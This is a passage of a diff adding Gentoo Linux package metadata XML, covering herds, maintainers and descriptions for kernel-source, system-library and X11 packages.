+  <email>plasmaroo@gentoo.org</email>
+</maintainer>
+<maintainer>
+  <email>x86-kernel@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/genkernel">
+<herd>x86-kernel</herd>
+<maintainer>
+  <email>livewire@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/gentoo-dev-sources">
+<herd>x86-kernel</herd>
+<herd>alpha-kernel</herd>
+<herd>hppa-kernel</herd>
+<herd>mips-kernel</herd>
+<herd>ppc-kernel</herd>
+<herd>sparc-kernel</herd>
+
+<maintainer>
+  <email>johnm@gentoo.org</email>
+  <name>John Mylchreest</name>
+</maintainer>
+<maintainer>
+  <email>brad_mssw@gentoo.org</email>
+  <name>Brad House</name>
+</maintainer>
+
+<longdescription>
+These sources are the 2.6 release kernels patched for gentoo.
+They are designed to be the up and coming gentoo-sources-2.6*.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/gentoo-sources">
+<herd>kernel</herd>
+<maintainer>
+  <email>plasmaroo@gentoo.org</email>
+</maintainer>
+<maintainer>
+  <email>iggy@gentoo.org</email>
+</maintainer>
+<maintainer>
+  <email>x86-kernel@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/gentoo-test-sources">
+  <herd>x86-kernel</herd>
+  <maintainer>
+    <email>x86-kernel@gentoo.org</email>
+    <name>x86 kernel team</name>
+    <description>Actively maintained</description>
+  </maintainer>
+  <longdescription>
+    playground for next gentoo-sources
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/grsec-sources">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>solar@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<maintainer>
+		<email>pappy@gentoo.org</email>
+		<description>Secondary Maintainer</description>
+	</maintainer>
+	<longdescription>Vanilla sources of the linux kernel with the grsecurity patch</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/gs-sources">
+<herd>x86-kernel</herd>
+<maintainer>
+  <email>livewire@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/hardened-sources">
+<herd>hardened</herd>
+<maintainer>
+  <email>frogger@gentoo.org</email>
+  <name>Matthew Rickard</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>This kernel source contains a security hardened version of the Gentoo Linux Kernel.  It contains either LSM/SELinux or GRSecurity.  It also contains Systrace and various other security and performance enhancing patches.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/hppa-headers">
+<herd>hppa</herd>
+<longdescription>
+Linux headers for hppa.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/hppa-sources">
+<herd>hppa-kernel</herd>
+<longdescription>
+2.4 kernels for hppa.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/mips-headers">
+	<herd>mips</herd>
+	<maintainer>
+		<email>mips@gentoo.org</email>
+		<name>Mips Team</name>
+	</maintainer>
+
+	<longdescription>
+		mips-headers are CVS Snapshots from the Linux-Mips.org CVS server that provides /usr/include/{linux,asm} stuff for MIPS machines
+	</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/mips-prepatch-sources">
+	<herd>mips</herd>
+	<maintainer>
+		<email>mips@gentoo.org</email>
+		<name>Mips Team</name>
+	</maintainer>
+
+	<longdescription>
+		mips-prepatch-sources are CVS Snapshots from the Linux-Mips.org CVS server for MIPS Machines that are -preX or -rcX sources
+	</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/mips-sources">
+	<herd>mips</herd>
+	<maintainer>
+		<email>mips@gentoo.org</email>
+		<name>Mips Team</name>
+	</maintainer>
+
+	<longdescription>
+		mips-sources are CVS Snapshots from the Linux-Mips.org CVS server for MIPS-Based machines
+	</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/mm-sources">
+<herd>no-herd</herd>
+<maintainer>
+	<email>tseng@gentoo.org</email>
+	<name>Brandon Hale</name>
+</maintainer>
+<longdescription>
+This kernel is based on Andrew Morton's tree.
+It includes a large number of patches to vanilla 2.6 + bk,
+most notably scheduler work by Con Klivias.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/mosix-sources">
+<herd>cluster</herd>
+<maintainer>
+  <email>tantive@gentoo.org</email>
+<!--  <name>Michael Imhof</name> -->
+<!--  <description>Release manager, patch manager</description> -->
+</maintainer>
+<!-- <longdescription></longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/openmosix-sources">
+<herd>cluster</herd>
+<maintainer>
+  <email>tantive@gentoo.org</email>
+<!--  <name>Michael Imhof</name> -->
+<!--  <description>Release manager, patch manager</description> -->
+</maintainer>
+<!-- <longdescription></longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/pac-sources">
+  <herd>x86-kernel</herd>
+  <maintainer>
+    <email>x86-kernel@gentoo.org</email>
+    <name>x86 kernel team</name>
+    <description>Actively maintained</description>
+  </maintainer>
+  <longdescription>
+    Bernhard Rosenkraenzer's kernel patchset.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/planet-ccrma-sources">
+<herd>x86-kernel</herd>
+<maintainer>
+  <email>nerdboy@gentoo.org</email>
+  <name>Steve Arnold</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>Planet CCRMA custom kernel sources based on RedHat, but with low latency and other groovy patches. Used for realtime audio performance.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/ppc-development-sources">
+
+<herd>ppc-kernel</herd>
+
+<maintainer>
+	<email>lu_zero@gentoo.org</email>
+	<name>Luca Barbato</name>
+</maintainer>
+
+<maintainer>
+	<email>darkspecter@gentoo.org</email>
+	<name>Bartosch Pixa</name>
+</maintainer>
+
+<longdescription>
+This kernel is a snapshot of the linuxppc-2.5-benh tree, with additional fixes
+but without any feature additions.
+</longdescription>
+
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/ppc-sources-benh">
+	<herd>ppc</herd>
+	<longdescription>
+		The kernel-sources for machines with a PowerPC CPU, patched by Benjamin
+		Herrenschmidt.
+	</longdescription>
+	<maintainer><email>kain@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/ppc-sources-crypto">
+	<herd>ppc</herd>
+	<longdescription>
+		The kernel-sources for machines with a PowerPC CPU, patched with some more
+		crypto availability.
+	</longdescription>
+	<maintainer><email>kain@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/ppc-sources-dev">
+	<herd>ppc</herd>
+	<longdescription>
+		The experimental kernel-sources for machines with a PowerPC CPU.
+	</longdescription>
+	<maintainer><email>kain@gentoo.org</email></maintainer>
+	<!--quite old version!-->
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/ppc-sources">
+	<herd>ppc</herd>
+	<longdescription>
+		The Gentoo-optimized kernel-sources for machines with a PowerPC CPU.
+	</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/selinux-sources">
+<herd>hardened</herd>
+<maintainer>
+  <email>pebenito@gentoo.org</email>
+  <name>Chris PeBenito</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>This kernel source contains the Linux Security Module patch and SELinux security module.  This is only useful for a SELinux system.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/sparc-dev-sources">
+<herd>sparc</herd>
+<maintainer>
+  <email>sparc@gentoo.org</email>
+  <name>Sparc Team</name>
+</maintainer>
+<longdescription>
+sparc-dev-sources is a Gentoo customized development kernel tailored for supporting 32 and 64 bit sparc computers.  The primary objective is testing bleeding-edge patches.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/sparc-sources">
+<herd>sparc</herd>
+<maintainer>
+  <email>sparc@gentoo.org</email>
+  <name>Sparc Team</name>
+</maintainer>
+<longdescription>
+sparc-sources is a Gentoo customized kernel tailored for supporting 32 and 64 bit sparc computers.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/usermode-sources">
+<herd>kernel</herd>
+<maintainer>
+  <email>lanius@gentoo.org</email>
+  <name>Heinrich Wendel</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/vanilla-prepatch-sources">
+  <herd>x86-kernel</herd>
+  <maintainer>
+    <email>x86-kernel@gentoo.org</email>
+    <name>x86 kernel team</name>
+    <description>Actively maintained</description>
+  </maintainer>
+  <longdescription>
+    Vanilla prepatch/rc sources, for people who like to have the latest 2.4 available
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/vanilla-sources">
+  <herd>x86-kernel</herd>
+  <maintainer>
+    <email>x86-kernel@gentoo.org</email>
+    <name>x86 kernel team</name>
+    <description>Actively maintained</description>
+  </maintainer>
+  <longdescription>
+    Vanilla prepatch/rc sources, for people who like to have the latest 2.4 available
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/win4lin-sources">
+<herd>kernel</herd>
+<maintainer>
+  <email>plasmaroo@gentoo.org</email>
+</maintainer>
+<maintainer>
+  <email>x86-kernel@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/wolk-sources">
+<herd>x86-kernel</herd>
+<maintainer>
+  <email>nerdboy@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-kernel/xfs-sources">
+  <herd>x86-kernel</herd>
+  <maintainer>
+    <email>x86-kernel@gentoo.org</email>
+    <name>x86 kernel team</name>
+    <description>Actively maintained</description>
+  </maintainer>
+  <longdescription>
+    Gentoo Linux sources with XFS patches from SGI
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/cracklib">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/db">
+<herd>sys-libs</herd>
+<maintainer restrict="&gt;=sys-libs/db-3.2.9-r5">
+  <!-- I'm currently working on making db 4 work with gentoo, but am not
+        maintaining general db -->
+  <email>pauldv@gentoo.org</email>
+  <name>Paul de Vrieze</name>
+  <description>Making db4 work with gentoo</description>
+</maintainer>
+
+<longdescription>The Berkeley Database (Berkeley DB) is a programmatic toolkit
+that provides embedded database support for both traditional and client/server
+applications. Berkeley DB includes b+tree, queue, extended linear hashing,
+fixed, and variable-length record access methods, transactions, locking,
+logging, shared memory caching and database recovery. DB supports C, C++, Java,
+and Perl APIs. DB is available for a wide variety of UNIX platforms as well as
+Windows NT and Windows '95 (MSVC 4, 5 and 6).</longdescription>
+<longdescription lang="nl">De Berkeley Database is een programmatische toolkit
+die embedded database support verzorg voor en traditionele en client/server
+applicaties. Berkeley DB bevat b+tree, rij, uitgebreide lineaire hashing, vaste
+en variabele lengte record toegangsmethoden, transacties, locking, logging,
+gedeeld geheugen caching en database herstel. DB ondersteund C, C++, Java en
+Perl API's. DB is beschikbaar voor veel UNIX platformen en
+Windows.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/detect">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/device-mapper">
+<herd>no-herd</herd>
+<maintainer>
+	<email>max@gentoo.org</email>
+	<name>Max Kalika</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/gdbm">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/gi-detect">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/glibc">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/gpm">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/ldetect-lst">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/ldetect">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/lib-compat">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/libavc1394">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/libcap">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/libchipcard">
+<herd>no-herd</herd>
+<maintainer><email>hanno@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/libieee1284">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/libmath++">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/libnss-mysql">
+<herd>no-herd</herd>
+<maintainer><email>max@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/libraw1394">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/libselinux">
+<herd>hardened</herd>
+<maintainer>
+	<email>pebenito@gentoo.org</email>
+	<name>Chris PeBenito</name>
+	<description>Primary Maintainer</description>
+</maintainer>
+<longdescription>
+Libselinux provides an API for SELinux applications to get and set
+process and file security contexts and to obtain security policy
+decisions.  Required for any applications that use the SELinux API.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/libtermcap-compat">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/lrmi">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/lwp">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/ncurses">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/nss-db">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/nss-mysql">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/obsd-sources">
+<herd>base-system</herd>
+<maintainer>
+	<email>g2boojum@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/pam">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/pam_mysql">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/pam_passwdqc">
+<herd>pam</herd>
+<maintainer>
+    <email>hhg@gentoo.org</email>
+    <name>Hallgrimur H. Gunnarsson</name>
+</maintainer>
+<longdescription>
+   Password strength checking for PAM aware password changing programs. This is an alternative to the default cracklib.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/pam_usb">
+<herd>pam</herd>
+<maintainer>
+    <email>hhg@gentoo.org</email>
+    <name>Hallgrimur H. Gunnarsson</name>
+</maintainer>
+<longdescription>
+   A PAM module that enables authentication using an USB-Storage device (such as an USB Pen) through DSA private/public keys.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/pwdb">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/readline">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/rvm">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/slang">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+<maintainer><email>yakina@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-libs/zlib">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-base/kdrive">
+<herd>xfree</herd>
+<longdescription>Xfree86: famous and free X server. Tiny version (Kdrive).</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-base/opengl-update">
+<herd>xfree</herd>
+<longdescription>Utility to change the OpenGL interface being used. Used with nvidia or ati binary drivers.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-base/xdirectfb">
+<herd>xfree</herd>
+<longdescription>XDirectFB is a rootless XServer on top of DirectFB. This is an alternative to XFree86.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-base/xfree-drm">
+<herd>xfree</herd>
+<maintainer>
+<email>dberkholz@gentoo.org</email>
+<name>Donnie Berkholz</name>
+</maintainer>
+<longdescription>XFree-DRM is a Direct Rendering Manager for XFree 4.3 and higher. The DRM in 2.4.x kernels does not support XFree 4.3, so this is necessary for direct rendering with the open-source drivers.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-base/xfree">
+<herd>xfree</herd>
+<longdescription>Xfree86: famous and free X server.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/diacanvas">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/ecore">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+What is Ecore? It is the core event abstraction layer and X abstraction layer that 
+makes doing selections, Xdnd, general X stuff, and event loops, timeouts and idle 
+handlers fast, optimized, and convenient. it's a separate library so anyone can make 
+use of the work put into Ecore to make this job easy for applications.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/eprog">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Eprog is a convenience library for evas2, a canvas library written by Raster. It 
+handles the creation of XFree86 toplevel windows that contain an evas, and takes 
+care of feeding X events to the evas. Basically, it makes using Evas with XFree86 a 
+whole lot easier.
+
+In the words of raster, &quot;eprog is an 'I just want to quickly write a custom canvas 
+app and don't want to mess with setting up all the damn callbacks for everything 
+myself' lib.&quot;
+
+Note: Pretty much everything that eprog does (and a whole lot more) is now taken 
+care of by the newest CVS (SPLIT) version of ecore (the ecore-evas module of ecore 
+to be exact). So, eprog is pretty much obsolete. (Good for me, since I really don't 
+have time to maintain anything these days). I'll still keep it available here, in 
+case anyone is interested (and until I get around to rewriting the iconbar using the 
+new ecore -- probably sometime this summer).
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/esmart">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+A collection of evas smart objects
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/evas">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+ <longdescription>
+Evas is a hardware-accelerated canvas API for X-Windows that can draw 
+anti-aliased text, smooth super and sub-sampled images, alpha-blend, as well as 
+drop down to using normal X11 primitives such as pixmaps, lines and rectangles 
+for speed if your CPU or graphics hardware are too slow.
+
+Evas abstracts any need to know much about what the characteristics of your 
+XServer's display are, what depth or what magic visuals etc, it has. The most you 
+need to tell Evas is how many colors (at a maximum) to use if the display is not 
+a truecolor display. By default it is suggested to use 216 colors (as this 
+equates to a 6x6x6 color cube - exactly the same color cube Netscape, Mozilla, 
+gdkrgb etc. use so colors will be shared). If Evas can't allocate enough colors 
+it keeps reducing the size of the color cube until it reaches plain black and 
+white. This way, it can display on anything from a black and white only terminal 
+to 16 color VGA to 256 color and all the way up through 15, 16, 24 and 32bit 
+color.
+ </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/ewl">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+The Enlightenment Widget Library, a simple-to-use general purpose widget library 
+based on the Evas canvas. This library is still in development but already has demo 
+applications and solid documentation, so feel free to try the CVS sources.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/gai">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lordvan@gentoo.org</email>
+  <name>Thomas Raschbacher</name>
+<!--  <description>Description of the maintainership</description> -->
+</maintainer>
+<!-- <longdescription>Long description of the package</longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/gtk+">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/gtk-sharp">
+<herd>dotnet</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/gtkglarea">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/gtkglext">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/gtkmathview">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/gtkmm-addons">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/gtkscintilla2">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/gtksourceview">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/libast">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+LibAST is the Library of Assorted Spiffy Things.  It contains many
+spiffy things, and it is a library.  Thus, the ever-so-creative name.
+LibAST has been previously known as libmej, the Eterm helper library
+which nobody really understood and certainly never used.  My current
+plan is to gradually remove some of the neat stuff from Eterm that
+could be made generic (things like the theme parsing engine, the
+command-line options parser, perhaps the event engine, ...) and place
+it here in the hopes that others will find them useful.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/libelysium">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/libelysiumui">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/libiterm-mbt">
+<herd>xfree</herd>
+<maintainer>
+	<email>hhg@gentoo.org</email>
+	<name>Hallgrimur H. Gunnarsson</name>
+</maintainer>
+<longdescription>
+    Hacked version of the libiterm library.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/libwnck">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/libxsettings-client">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/libzvt">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/pango">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/qt-embedded">
+<herd>qt</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/qt">
+<herd>qt</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/qwt">
+<herd>sci</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/startup-notification">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/vte">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/wxGTK">
+<herd>wxwindows</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-libs/xosd">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lanius@gentoo.org</email>
+  <name>Heinrich Wendel</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/3ddesktop">
+	<herd>desktop-misc</herd>
+	<longdescription>3d Destkop is an OpenGL program for switching virtual desktops in a seamless 3-dimensional manner. The current desktop is mapped into a 3D space where you may choose other screens. Several different visualization modes are available.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/ASFiles">
+	<herd>gnustep</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/accessx">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/autocutsel">
+	<herd>desktop-misc</herd>
+	<longdescription>autocutsel synchronizes the two copy/paste buffers mainly used by X applications. It unifies &quot;clipboards&quot; between VNC servers and Windows.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/bbapm">
+  <herd>commonbox</herd>
+  <longdescription>
+  An Advanced Power Management tool for Blackbox
+  </longdescription> 
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/bbappconf">
+  <herd>commonbox</herd>
+  <longdescription>
+  bbappconf is a utility that allows you to specify window properties 
+  in Blackbox.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/bbcd">
+  <herd>commonbox</herd>
+  <longdescription>
+  Basic CD Player app for Blackbox.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/bbconf">
+  <herd>commonbox</herd>
+  <longdescription>
+  A configuration tool for Blackbox.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/bbdate">
+  <herd>commonbox</herd>
+  <longdescription>
+  A data display for Blackbox.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/bbkeys">
+  <herd>commonbox</herd>
+  <longdescription>
+  A keygrabber for Blackbox.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/bblaunch">
+  <herd>commonbox</herd>
+  <longdescription>
+  An application launcher for Blackbox.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/bbmail">
+  <herd>commonbox</herd>
+  <longdescription>
+  Mail notification for Blackbox.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/bbpager">
+  <herd>commonbox</herd>
+  <longdescription>
+  An understated pager for Blackbox.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/bbppp">
+  <herd>commonbox</herd>
+  <longdescription>
+  A PPP frontend/monitor for Blackbox.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/bbrb">
+  <herd>commonbox</herd>
+  <longdescription>
+  Background manager for *box wms.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/bbrun">
+  <herd>commonbox</herd>
+  <longdescription>
+  Program execution dialog for Blackbox.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/bbsload">
+  <herd>commonbox</herd>
+  <longdescription>
+  Load monitor for Blackbox.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/bbtime">
+  <herd>commonbox</herd>
+  <longdescription>
+  A time monitor for Blackbox.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/bbweather">
+  <herd>commonbox</herd>
+  <longdescription>
+  Weather monitor for Blackbox.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/bubblemon">
+	<herd>desktop-misc</herd>
+	<longdescription>bubblemon is a cute CPU/memory usage monitor. It displays CPU load as bubbles in a jar of water; the water level depends on how much memory is used. It features load average and memory info screens and a transparent CPU load meter. It supports Linux, FreeBSD, and Solaris.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/chgres">
+	<herd>desktop-misc</herd>
+	<longdescription>chgres is a small tool which uses the XFree86-VidModeExtension X11 extension to query and set the resolution of your XFree86 display, without restarting it. It has a simple command-line user interface which makes it suitable for use in shell scripts.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/commonbox-utils">
+<herd>commonbox</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/devilspie">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/docker">
+  <herd>commonbox</herd>
+  <longdescription>
+  Openbox app which acts as a system tray for KDE and GNOME2.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/dsx">
+<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/dxpc">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/e16keyedit">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+ <longdescription>
+This is a standalone keybindings editor for enlightenment version 0.16.
+ </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/e16menuedit">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/entrance">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+ <longdescription>
+Entrance is the Enlightenment Display Manager. And like Enlightenment, it takes 
+beauty and customization to levels that KDM and GDM can only dream about, without 
+the bloat.
+http://xcomputerman.com/pages/images/entrance2.png
+ </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/eosd">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+eOSD is the &quot;enlightened on-screen display&quot; library. It's based on Ecore, Ecore X 
+and Imlib2.
+
+eOSD draws anti-aliased text on your screen without creating a visible window, so it 
+looks just like an on-screen display.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/fbdesk">
+<herd>commonbox</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/fbpanel">
+  <herd>commonbox</herd>
+  <longdescription>
+  fbpanel is a light-weight X11 desktop panel.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/fluxbg">
+  <herd>commonbox</herd>
+  <longdescription>
